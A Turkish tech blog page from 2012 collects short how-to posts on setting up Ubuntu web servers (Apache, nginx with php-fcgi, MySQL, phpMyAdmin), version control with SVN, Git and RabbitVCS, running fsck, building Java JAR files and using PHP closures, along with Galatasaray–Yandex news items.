sudo /etc/init.d/apache2 restarthttp://localhost/phpmyadmin diyerek phpMyAdmin'e erişebilirsiniz. Sizden giriş için mysql kullanıcı adı (root) ve şifresini isteyecektir. Eğer şifrenizibelirlemediyseniz veya unuttuysanız bu yazıyı okumanızı tavsiye ederim. İşlem bu kadardır. Afiyet olsun. Devamı için : Ubuntu phpMyAdmin Kurulumu
Ubuntu Rewrite Modulü Kurulumu (Etkinleştirilmesi)
sudo a2enmod rewriteYukarıdaki komutu çalıştırarak modülü etkinleştiriyoruz. Daha sonra ilgili projenizin vhost dosyasında birkaç düzenleme yapmamız gerekecek.
sudo nano /etc/apache2/site-available/defaultAçılan vhost dosyasında aşağıdaki değişiklikleri yapmanız gerekiyor. İlk açtığınızdaki durumunu ve yanına okla yapmanız gereken düzenlemeyi belirtiyorum. AllowOverride None -> AllowOverride All Görmüş olduğunuz tüm "AllowOverride None" ları "AllowOverride All" a çeviriyoruz ve kaydedip çıkıyoruz. Son olarak apache'yi yeniden başlatacağız.
sudo /etc/init.d/apache2 restartModül artık aktifleşti. Projenizde kullanabilirsiniz, hayırlı olsun. Devamı için : Ubuntu Rewrite Modulü Kurulumu (Etkinleştirilmesi)
16 Ekim 2012 Salı
ubuntu RabbitVCS kurulumu - TortoiseSVN alternatifi (ubuntu 12.04)
sudo add-apt-repository ppa:rabbitvcs/ppa
Ardından da install ediyoruz; sudo apt-get install rabbitvcs-core rabbitvcs-nautilus3 rabbitvcs-cli
Ayrıca eğer istiyorsak gedit extension da ekleyebiliriz; sudo apt-get install rabbitvcs-gedit
Bu işlemlerden sonra bilgisayarımızı yeniden başlattığımızda, versiyon kontrol sistemini rahatça kullanabiliriz. Yapmanız gereken sadece sağ tık! Devamı için : ubuntu RabbitVCS kurulumu - TortoiseSVN alternatifi (ubuntu 12.04)
Ubuntu nginx uzerine php fastcgi kurulumu (php-fcgi)
apt-get install php5-cli php5-cgi spawn-fcgi psmiscArtık sistemimizde php fcgi ile ilgili paketler yüklendi. Ancak bunu dürtecek bir mekanizmamız henüz yok. Bu yüzden nginx ayarlarında henüz bunu çağıramıyoruz. Şimdi bunu dürtebilir hale getirelim. Aşağıdaki içerikler ile /usr/bin/php-fcgi adında bir dosya üretelim. Bu dosyaya göre php 9000 nolu portta çalışacak, ve 127.0.0.1 (localhost) için hizmet verecektir. Bu hizmet www-data adlı kullanıcı ve www-data adlı grup ile ilgili oluşacaktır. /usr/bin/php-fcgi dosyası
#!/bin/bash FASTCGI_USER=www-data FASTCGI_GROUP=www-data ADDRESS=127.0.0.1 PORT=9000 PIDFILE=/var/run/php-fcgi/php-fcgi.pid CHILDREN=6 PHP5=/usr/bin/php5-cgi /usr/bin/spawn-fcgi -a $ADDRESS -p $PORT -P $PIDFILE -C $CHILDREN -u $FASTCGI_USER -g $FASTCGI_GROUP -f $PHP5Chmod vererek de çalıştırabilir hale getirelim. Bunun için de aşağıdaki kodu çalıştıralım :
chmod +x /usr/bin/php-fcgiHer şey yolunda gidiyor gibi gözüküyor. Ancak bu bir hizmet ve başlatma durdurma gibi özellikleri olması gerekiyor. yani özetle, /etc/init.d/ içerisine bir şeyler yapmamız gerekiyor. /etc/init.d/php-fcgi adlı bir dosya üretiniz. /etc/init.d/php-fcgi dosyası :
#!/bin/bash PHP_SCRIPT=/usr/bin/php-fcgi FASTCGI_USER=www-data FASTCGI_GROUP=www-data PID_DIR=/var/run/php-fcgi PID_FILE=/var/run/php-fcgi/php-fcgi.pid RET_VAL=0 case "$1" in start) if [[ ! -d $PID_DIR ]] then mkdir $PID_DIR chown $FASTCGI_USER:$FASTCGI_GROUP $PID_DIR chmod 0770 $PID_DIR fi if [[ -r $PID_FILE ]] then echo "php-fcgi already running with PID `cat $PID_FILE`" RET_VAL=1 else $PHP_SCRIPT RET_VAL=$? fi ;; stop) if [[ -r $PID_FILE ]] then kill `cat $PID_FILE` rm $PID_FILE RET_VAL=$? else echo "Could not find PID file $PID_FILE" RET_VAL=1 fi ;; restart) if [[ -r $PID_FILE ]] then kill `cat $PID_FILE` rm $PID_FILE RET_VAL=$? else echo "Could not find PID file $PID_FILE" fi $PHP_SCRIPT RET_VAL=$? ;; status) if [[ -r $PID_FILE ]] then echo "php-fcgi running with PID `cat $PID_FILE`" RET_VAL=$? else echo "Could not find PID file $PID_FILE, php-fcgi does not appear to be running" fi ;; *) echo "Usage: php-fcgi {start|stop|restart|status}" RET_VAL=1 ;; esac exit $RET_VAL
chmod +x /etc/init.d/php-fcgi update-rc.d php-fcgi defaults /etc/init.d/php-fcgi startTabi bu noktada nginx imizi de artık ayarlamamız gerekiyor. /etc/nginx/sites-available/www.deneme.com dosyası oluşturalım.
server { server_name www.deneme.com deneme.com; access_log /srv/www/www.deneme.com/logs/access.log; error_log /srv/www/www.deneme.com/logs/error.log; root /srv/www/www.deneme.com/public_html; location / { index index.html index.htm; } location ~ \.php$ { include /etc/nginx/fastcgi_params; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /srv/www/www.deneme.com/public_html$fastcgi_script_name; } }
service nginx restartDevamı için : Ubuntu nginx uzerine php fastcgi kurulumu (php-fcgi)
Ucretsiz GIT hizmeti - bitbucket.org
ubuntu mysql kurulumu (Ubuntu 12.04)

apt-get install mysql-serverBu komuttan sonra, yükleyeme başlayacak, ve sizden bir süre sonra root şifresi talep edecektir. root şifrenizi de belirledikten sonra kurulum kendiliğinden tamamlanacaktır. Mysql'e bağlanmanız için grekli client da siz ekstra bir şey yapmanıza gerek kalmadan yüklenmiş olacaktır. Denemek için ise,
mysql -u root -pyazınız. Mysql için az önce belirlediğiniz root şifrenizi girdikten sonra mysql konsoluna girmişsiniz demektir. Eğer bağlanmıyorsa başlatmayı deneyiniz.
service mysql start service mysql stopKomutlarıyla da mysql servisini başlatıp durdurabilirsiniz. mysql in process olarak çalışıp çalışmadığını ise
ps aux | grep mysqlkomutu ile ayıklayabilirsiniz. Devamı için : ubuntu mysql kurulumu (Ubuntu 12.04)
ubuntu nginx kurulumu (Ubuntu 12.04)

root@ubuntu:/home/emre# : apt-get install nginxBu komuttan sonra
service nginx start service nginx stopgibi komutlar ile nginx hizmetinizi başlatıp durdurabilirsiniz. nginx in çalışıp çalışmadığını ise,
ps aux | grep nginxyazarak ayıklayabilirsiniz. Devamı için : ubuntu nginx kurulumu (Ubuntu 12.04)
15 Ekim 2012 Pazartesi
Ucretsiz SVN hizmeti - unfuddle.com
Unfuddle.com nedir?
İşte yukarıda bahsettiğim gibi kodunuzu paylaşmak istemiyorsanız, www.unfuddle.com u tercih edebilirsiniz. Unfuddle kayıt sayfasında ücretli planların hemen altında ücretiz ve gizli planını seçebiliyor, 2 kullanıcı, 1 proje için ebedi ücretiz kullanabiliyorsunuz. Üstelik ücretsiz planda bile ssl hizmeti aktif. Panenize giriş yaptıktan sonra, orada ticket'lar açıp, proje yönetim gereçlerini kullanabiliyorsunuz. SVN hizmetinizi İhtiyacı olanlara tavsiye ederim. Devamı için : Ucretsiz SVN hizmeti - unfuddle.comfsck (file-system-check) komutu - Centos5
fsck komutu nedir?
fsck, file system check , yani dosya sistemini kontrol etmek manasına gelen bir komuttur. Görevi, dosya sisteminiz üzerinde oluşan hataları denetler ve bunları gidermeye çalışır.Centos 5 üzerinde fsck komutunu çalıştırmak
CD'den boot etmek
boot: linux rescueSize sorarsa eğer dosya sisteminizi mount edeyim mi diye, siz HAYIR'ı işaretleyin. Bahsettiğim gibi, mount edilmiş dosya sistemi üzerinde fsck komutunu çalıştıramazsınız. (bir işe yaramaz.) Kurtarma modundayken hangi partition ile ilgili yapmak istiyorsanız o partition için şu kodu çalıştırın. (ben /dev/sda1 için yaptım)
fsck -f /dev/sda1Eğer burada partition'larınızı oluşturmak için Linux LVM yi kullandıysanız, bu partitionları fsck yapmadan önce şu anda erişilebilir hale getirmeniz gerekiyor
lvm pvscan lvm vgscan lvm lvchange -ay VolGroup00 lvm lvscansonrasında
fsck
: fsck -f /dev/VolGroup00/LogVol00
Yeniden başlatırken çalıştırmak
bash# shutdown -Fr nowBu metod daha kolaydır. Sunucunuza disk yerleştirme vb zahmeti yoktur. Özellikle uzak sunucularda mecburen bunu kullanacaksınız gibi gözüküyor :)
11 Ekim 2012 Perşembe
Dubluve.net 1 yasinda

- İleri seviye detay yazılar,
- Giriş seviye yazılar,
- Uygulama tanıtımları,
- Web sitesi & hizmet tanıtımları,
- "Nasıl yapılır?" (how-to) lar,
- Tavsiyeler
9 Ekim 2012 Salı
Git sunucusu nasil kurulur?
adduser git # git deposu için yeni kullanıcı git oluşturduk. # .ssh dizini oluşturalım ve yetki verelim /home/gitmkdir -f .ssh chmod 700 .sshcd .sshtouch authorized_keys # erişebilecek kişilerin public anahtarlarını ekleyeceğimiz dosyaya da yetki verelim. chmod 600 authorized_keys #Yeni bir depo kurmak için git kullanıcısı ile sisteme girdikten sonra aşağıdaki komutları kullanabilirsiniz. mkdir ~/repo.git cd ~/repo.git git --bare initOlay bu kadar basit aslında. Devamı için : Git sunucusu nasil kurulur?
GSYandex.com Acildi
Neden GSYandex? GSYandex Galatasaraylı! GSYandex, aradığınız web sayfalarını, haberleri, görselleri, videoları, ürünleri ve adresleri bulur. Bazı soruları sormanıza bile gerek kalmaz. Galatasaray'da olan biteni, Galatasaray Tarihi ve diğer güncel sorulara cevapları GSYandex.com ana sayfasında bulabilirsiniz. Neden GSYandex'i Anasayfam Olarak Ayarlamalıyım? Tarayıcınızın ana sayfası; internete girer girmez hemen açılan sitedir. Eğer ana sayfanızı GSYandex olarak ayarlarsanız; iş gününüz Galatasaray ile ilgili haberler, Galatasaray Tarihi ile ilgili bilgiler, kur bilgileri; her şeyden önemlisi arama yapabilme ve bu aramalar sayesinde kulübüne gelir sağlaman ile başlar.Ayrıca galatasaray.org'da belirtilen habere göre, Yandex altyapısına sahip galatasaray.net uzantılı email hizmeti de yakında hizmete girecekmiş. Detaylı açıklamalar şurada. Bence gayet güzel bir hamle. Bu anlamda markalaşmak da önemli. Devamı için : GSYandex.com Acildi
8 Ekim 2012 Pazartesi
Galatasaray ve Yandex İsbirligi
Galatasaray Spor Kulübü, dünyanın önde gelen arama motorları arasında yer alan Yandex ile yapacağı işbirliği sayesinde bir ilke imza atarak arama motoru ve internet servis hizmetlerini "GSYandex" markası ile taraftarımızın hizmetine sunuyor. Galatasaray Spor Kulübü, Yandex ile yapacağı 'Resmi Arama Motoru' anlaşmasının imza töreni, 9 Ekim Salı günü saat 11:00'de Ali Sami Yen Spor Kompleksi Türk Telekom Arena basın toplantı odasında gerçekleştirilecektir. GSYandex imza törenine; Galatasaray Spor Kulübü Başkanı Ünal Aysal, Yandex-Türkiye Yönetim Kurulu Başkanı Sayın Mehmet Ali Yalçındağ, Galatasaray Spor Kulübü 2. Başkanı Ali Dürüst ve Galatasaray Spor Kulübü İcra Kurulu Başkanı Lutfi Arıboğan katılacaklardır. İmza törenini takip etmek isteyen medya mensupları akreditasyon için bugün en geç saat 18:00'e kadar basinoperasyon@galatasaray.org e-posta adresine başvuruda bulunmalıdır. Medya mensuplarının bilgisine sunulur. Galatasaray Spor KulübüHaberin linki ise; Galatasaray, Yandex İşbirliği ile Dünyada Bir İlke Daha İmza Atıyor Devamı için : Galatasaray ve Yandex İsbirligi
adam akilli kisiler #3 - James Gosling
7 Ekim 2012 Pazar
Java JAR Dosyası Yaratma
// JARClass.java public class JARClass { public static void main(String [ ] args) { System.out.println("Java JAR Dosyası Yaratma"); } }Ve tabii ki derleme komutu:
javac JARClass.java
JAR Dosyası Komutu ve Parametreleri
Şimdi basitçe, çok detaya girmeden, jar dosyası yaratmak için gerekli komutu görelim:jar cf JARClass.jar *Burada jar komutundan sonraki parametreler sırasıyla şu anlamlara geliyor:
- c; jar dosyası yaratacağımızı belirtir ifade (create)
- f; jar dosyasını bir dosyaya yaratacağımızı belirten ifade (f yazmayıp, dosya ismi belirtmez isek, konsola jar içeriğini basıyor).
- JARClass.jar; yaratmak istediğimiz jar dosyasının adı
- *; ifadesi şuan bulunduğumuz klasör ve tüm alt klasördeki dosya ve klasörleri jar dosyasına eklemeye yarıyor. Ve tabii ki bu parametre yerine dosya isimleri yazılarak, sadece istenilen dosyalar eklenebilir.
jar cf JARClass.jar JARClass.class JARClass.java
Diğer Parametreler
Kullanılabilecek belli başlı diğer parametrelerden de bahsetmeye çalışayım:- t; belirtilen jar dosyasının (f parametresi ile kullanıldığında) içerisinde bulunan dosyaları belirtir.
jar tf JARClass.jar
- v; jar dosyası yaratılırken, konsola dosya içeriği ve sıkıştırılma oranları gibi bilgileri basar.
jar cfv JARClass.jar *
- 0 (sıfır); jar dosyası yaratılırken, dosyaların sıkıştırılmamasını sağlar.
jar cf0 JARClass.jar *
- M; manifest dosyasının yaratılmamasını sağlar (bu dosyadan birazdan kısaca bahsedeceğim).
jar cfM JARClass.jar *
- m; harici olarak manifest dosyasının içeriğinin belirtilmesini sağlar (normalde otomatik olarak oluşuyor).
jar cfm manifest.mf JARClass.jar *
- -C; istenilen klasöre gidilebilmesini sağlar. Örneğin, class dosyasının yanında audio diye klasör olduğunu ve onun içinde de main.wav dosyası bulunduğunu varsayalım. Bu komut sayesinde, main.wav dosyasını jar dosyasına audio klasörü içinde değil de, doğrudan ana dizine eklemesini sağlamış oluyoruz. Aşağıdaki örnekte, ana dizindeki JARClass.class dosyasını ve audio dizini içindeki tüm dosyaları (. ile sağlıyoruz) jar dosyasına eklemiş oluyoruz.
jar cf JARClass.jar JARClass.class -C audio .
JAR Dosyası Nasıl Çalıştırılır?
Şimdi JARClass uygulamamızı nasıl çalıştıracağımızı görelim.java -jar JARClass.jarKomutu çalıştırdığımızda bize ana sınıfın ne olduğunu bilmediğinden bahsedecek. Yani, uygulama hangi sınıfın main metodundan başlayacağını bilmiyor. Hemen basitçe bir manifest dosyası yaratıyoruz.
// manifest.mf Main-Class: JARClassDosya uzantısının bir önemi yok. Uzantısız da yaratabilirsiniz. Şimdi, jar dosyasını manifest dosyasıyla tekrar yaratalım.
jar cmf manifest.mf JARClass.jar JARClass.classBu komutta m parametresinin f parametresinden önce gelmesine dikkat edilmeli. Komut, sonraki parametreleri ona göre işliyor. Uygulamayı,
java -jar JARClass.jarkomutuyla tekrar çalıştırmak istediğimizde, artık düzgün bir şekilde çalışmış oluyor. Manifest dosyası ile ilgili detay bilgileri başka bir yazımda detaylı bir şekilde vermek istiyorum. Şimdilik konu burada kalsın. Herkese iyi çalışmalar. Devamı için : Java JAR Dosyası Yaratma
Java JAR Dosyası Yaratma
// JARClass.java public class JARClass { public static void main(String [ ] args) { System.out.println("Java JAR Dosyası Yaratma"); } }Ve tabii ki derleme komutu:
javac JARClass.java
JAR Dosyası Komutu ve Parametreleri
Şimdi basitçe, çok detaya girmeden, jar dosyası yaratmak için gerekli komutu görelim:jar cf JARClass.jar *Burada jar komutundan sonraki parametreler sırasıyla şu anlamlara geliyor:
- c; jar dosyası yaratacağımızı belirtir ifade (create)
- f; jar dosyasını bir dosyaya yaratacağımızı belirten ifade (f yazmayıp, dosya ismi belirtmez isek, konsola jar içeriğini basıyor).
- JARClass.jar; yaratmak istediğimiz jar dosyasının adı
- *; ifadesi şuan bulunduğumuz klasör ve tüm alt klasördeki dosya ve klasörleri jar dosyasına eklemeye yarıyor. Ve tabii ki bu parametre yerine dosya isimleri yazılarak, sadece istenilen dosyalar eklenebilir.
jar cf JARClass.jar JARClass.class JARClass.java
Diğer Parametreler
Kullanılabilecek belli başlı diğer parametrelerden de bahsetmeye çalışayım:- t; belirtilen jar dosyasının (f parametresi ile kullanıldığında) içerisinde bulunan dosyaları belirtir.
jar tf JARClass.jar
- v; jar dosyası yaratılırken, konsola dosya içeriği ve sıkıştırılma oranları gibi bilgileri basar.
jar cfv JARClass.jar *
- 0 (sıfır); jar dosyası yaratılırken, dosyaların sıkıştırılmamasını sağlar.
jar cf0 JARClass.jar *
- M; manifest dosyasının yaratılmamasını sağlar (bu dosyadan birazdan kısaca bahsedeceğim).
jar cfM JARClass.jar *
- m; harici olarak manifest dosyasının içeriğinin belirtilmesini sağlar (normalde otomatik olarak oluşuyor).
jar cfm manifest.mf JARClass.jar *
- -C; istenilen klasöre gidilebilmesini sağlar. Örneğin, class dosyasının yanında audio diye klasör olduğunu ve onun içinde de main.wav dosyası bulunduğunu varsayalım. Bu komut sayesinde, main.wav dosyasını jar dosyasına audio klasörü içinde değil de, doğrudan ana dizine eklemesini sağlamış oluyoruz. Aşağıdaki örnekte, ana dizindeki JARClass.class dosyasını ve audio dizini içindeki tüm dosyaları (. ile sağlıyoruz) jar dosyasına eklemiş oluyoruz.
jar cf JARClass.jar JARClass.class -C audio .
JAR Dosyası Nasıl Çalıştırılır?
Şimdi JARClass uygulamamızı nasıl çalıştıracağımızı görelim.java -jar JARClass.jarKomutu çalıştırdığımızda bize ana sınıfın ne olduğunu bilmediğinden bahsedecek. Yani, uygulama hangi sınıfın main metodundan başlayacağını bilmiyor. Hemen basitçe bir manifest dosyası yaratıyoruz.
// manifest.mf Main-Class: JARClassDosya uzantısının bir önemi yok. Uzantısız da yaratabilirsiniz. Şimdi, jar dosyasını manifest dosyasıyla tekrar yaratalım.
jar cmf manifest.mf JARClass.jar JARClass.classBu komutta m parametresinin f parametresinden önce gelmesine dikkat edilmeli. Komut, sonraki parametreleri ona göre işliyor. Uygulamayı,
java -jar JARClass.jarkomutuyla tekrar çalıştırmak istediğimizde, artık düzgün bir şekilde çalışmış oluyor. Manifest dosyası ile ilgili detay bilgileri başka bir yazımda detaylı bir şekilde vermek istiyorum. Şimdilik konu burada kalsın. Herkese iyi çalışmalar. Devamı için : Java JAR Dosyası Yaratma
6 Ekim 2012 Cumartesi
Siasto - proje-gorev yonetimi sistemi
5 Ekim 2012 Cuma
isimsiz fonksiyonlar (anonymous functions - closures) (php 5.3 ve sonrasi)
$selam = function($isim){ printf("Merhaba %s\r\n", $isim); };//şeklinde tanımlayıp
echo $selam('Emre');//şeklinde kullanabiliriz. Yani anlayacağımız şekilde söylersek, bir değişkene bir fonksiyon atamış gibi bir şey oluruz.
php 5.4 ten itibaren de bu isimsiz fonksiyonların içinde "$this" kelimesi de kullanılabiliyor oldu. Bir Class içerisindeki bir metodun içinde kullanıldığında, $this->fonksiyon_ismi() diyerek ilgili classtaki fonksiyonu da çalıştırabiliyor artık.
http://www.php.net/manual/en/functions.anonymous.php#106046 linkinde ise ilginç(güzel) bir kullanımı var. Bir göz atmanızı tavsiye ederim. (kullanmanızı tavsiye etmem ama :), php içinde html'e karşıyım. )Devamı için : isimsiz fonksiyonlar (anonymous functions - closures) (php 5.3 ve sonrasi)
4 Ekim 2012 Perşembe
Subversion (SVN) Kurulumu ve Kullanımı
cd /var
mkdir svnYukarıdaki komutları çalıştırarak /var dizini altına "svn" isimli bir klasör oluşturmuş olduk. Şimdi projemiz için bir repository oluşturalım.
svnadmin create /var/svn/projectYukarıdaki komutu çalıştırdıktan sonra "project" isimli yeni bir repository oluşturmuş oluyoruz. Şimdi boş projemizi checkout ederek çalışma ortamımızı yaratmak adına son adımımızı atıyoruz. Benim işletim sistemimde projelerimi barındırdığım dizin
/var/www/sites
cd /var/www/sites
svn co file:///var/svn/projectYukarıdaki komutları çalıştırdığınızda /var/www/sites dizini altına "project" isimli bir klasörün oluştuğunu göreceksiniz. Yine bu klasörün içine girip bakacak olursanız "svn" isimli gizli bir klasör oluştuğunu göreceksiniz. Standar "hello word" mesajımızı vermek üzere index.php mizi oluşturacağız :D
cd /var/www/sites
touch index.php
nano index.php(Ben nano editor kullanıyorum. Siz ister konsol editorlarinden isterseniz Zend Studio,NetBeans gibi editorlerle index.php oluşturabilir ve düzenleyebilirsiniz) "Hello word" yazıp kaydediyoruz ve çıkıyoruz. An itibari ile ekrana "Hello Word" yazdıran bir php dosyamız oldu. Yeni eklediğimiz dosyanın SVN'ye eklenmesi
svn add index.php
svn commit -m 'index.php eklendi'Yukarıda index.php yi eklemek üzere SVN'yi uyardık ve commit ettik. İlk commitimizi yapmış olduk. Dosyanızda yeni bir değişiklik yaparsanız bunu görmek için aşağıdaki yönergeyi izleyelim.
svn statusDeğişiklik bulunan tüm dosyalar gelecek. Değişiklik yaptıysanız dosyanın başına "M" harfi gelmiş olacak. Bu dosyanın modified edildiğini belirdir. Bir dosyanın silinmesi
svn delete index.phpProjenin güncellenmesi
svn updateSVN ile ilgili anlatılabilecek çok şey var :D Zamanla eklemeye çalışacağım. Selamlar. Devamı için : Subversion (SVN) Kurulumu ve Kullanımı
3 Ekim 2012 Çarşamba
Subversion (SVN) vs Git
Subversion (Svn) ve Git Versiyon Kontrol Sistemleri Karşılaştırması
Takımınız için en iyi yazılım deposunu (repository) seçerken, bir takım önemli faktörler vardır. SVN (Subversion) geçtiğimiz yıllarda üretimde fiili olarak bir standart haline geldi ve kullanıldı. Ancak, daha sonradan hayatımıza Git diye bir şey girdi. Git, Linus Torvalds tarafından Linux çekirdek geliştirilmesi amacıyla geliştirilmiş versiyon kontrol sisteminin dağıtılmış versiyonudur. Yıllar içerisinde, yazılım geliştirme amacıyla kullanılmış ve özellikle Open Source projelerin oluşturulmasında rol alarak da çok büyümüştür. Git, çoğu takım için daha iyi bir çözüm olmasına rağmen, SVN ile kıyaslandığında azıcık daha öğrenmesi zor olarak nitelendirilebilir.Svn & Git farklarının objektif olarak özeti
- Git Svn den epeyce hızlıdır.
- SVN ile bir alt ağacı(subtree) indirip çalışabilirsiniz, ancak Git'te tüm projeyi klonlamanız gerekir. Bu klonlama ile kendinize geçmişi dahil bir kopya üretmiş olursunuz.
- Git depoları, SVN ye kıyasla epeyce daha küçüktür. Örneğin Mozilla projesi için 30 kat daha küçüktür)
- Git, baştan itibaren dağıtma amaçlı tasarlandığından, her geliştiriceye olabildiğince yerel kontrol imkanı sağlar. (örneğin bir şeyi yapıp kendinize commit edebilirsiniz. )
- Git branch'ları (yan dalları) , SVN'e göre basit ve daha az kaynak harcarlar.
- Git branch'lar kendi geçmişini tutarlar.
- Git branchlar üzerinde daha çok denetim ve karıştırma (merge) imkanı sağlar.
- Git depo dosyaları basittir. Tamir etme vb işlemlerinde ihtimaliz daha yüksektir.
- SVN depolarını merkezi olarak yedeklemek daha basittir.
- Git depo klonları, full bir klondur. Yani onun üzerinden yeni bir repo yapabilirsiniz.
- SVN nin kullanıcı arayüzü, Git'inkinden daha gelişmiştir.
- SVN nin versiyonlarında (revisions) dolaşmak 1,2,3,... şeklinde isim verdiğinden çok daha basittir. Git, ne idüğü belirsiz SHA-1 hash'ler kullanıyor.